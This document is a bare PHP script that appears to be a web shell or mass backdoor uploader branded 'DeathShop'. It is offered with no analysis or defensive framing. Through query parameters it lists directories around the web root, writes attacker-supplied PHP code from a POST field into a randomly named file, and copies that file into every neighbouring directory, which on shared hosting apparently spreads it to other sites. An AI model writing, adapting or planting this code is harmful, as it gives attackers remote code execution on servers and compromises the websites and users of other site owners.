function generateRandomString($length) {    $characters = 'abcdefghijklmnopqrstuvwxyz';    $charLength = strlen($characters);    $randomString = '';    for ($i = 0; $i < $length; $i++) {        $randomString .= $characters[rand(0, $charLength - 1)];    }    return $randomString;}function method1() {    $currentPath = dirname($_SERVER['DOCUMENT_ROOT']);    if ($currentPath === false) {        echo "Unable to determine the current path.";        return;    }    $contents = scandir($currentPath);    if ($contents === false) {        echo "Unable to list the contents of the current path.";        return;    }    echo json_encode($contents);}function method2() {    $currentPath = $_SERVER['DOCUMENT_ROOT'];    if ($currentPath === false) {        echo "Unable to determine the current path.";        return;    }    $contents = scandir($currentPath);    if ($contents === false) {        echo "Unable to list the contents of the current path.";        return;    }    echo json_encode($contents);}if (isset($_GET['met1'])) {    method1();} else if (isset($_GET['met2'])) {    method2();} else if (isset($_GET['actmet1'])) {    $sc = $_POST['file'];    $nama = generateRandomString(8);    $filePath = $nama . '.php';        $dead = fopen($filePath, "w");    if ($dead === false) {        echo "Failed to open the file for writing.";    } else {            if (fwrite($dead, $sc) === false) {            echo "Failed to write to the file.";        } else {            fclose($dead);            $currentPath = dirname($_SERVER['DOCUMENT_ROOT']);            $contents = scandir($currentPath);            foreach ($contents as $a) {                $newpath = $currentPath . '/' . $a . '/' . $nama . '.php';                $badman = @copy($filePath, $newpath);                if ($badman) {                    echo $a . '/' . $nama . '.php' . '|';                }            }        }    }} else if (isset($_GET['actmet2'])) {    $sc = $_POST['file'];    $nama = generateRandomString(8);    $filePath = $nama . '.php';        $dead = fopen($filePath, "w");    if ($dead === false) {        echo "Failed to open the file for writing.";    } else {            if (fwrite($dead, $sc) === false) {            echo "Failed to write to the file.";        } else {            fclose($dead);            $currentPath = $_SERVER['DOCUMENT_ROOT'];            $contents = scandir($currentPath);            foreach ($contents as $a) {                $newpath = $currentPath . '/' . $a . '/' . $nama . '.php';                $badman = @copy($filePath, $newpath);                if ($badman) {                    echo $a . '/' . $nama . '.php' . '|';                }            }        }    }} else {    echo 'DeathShop';}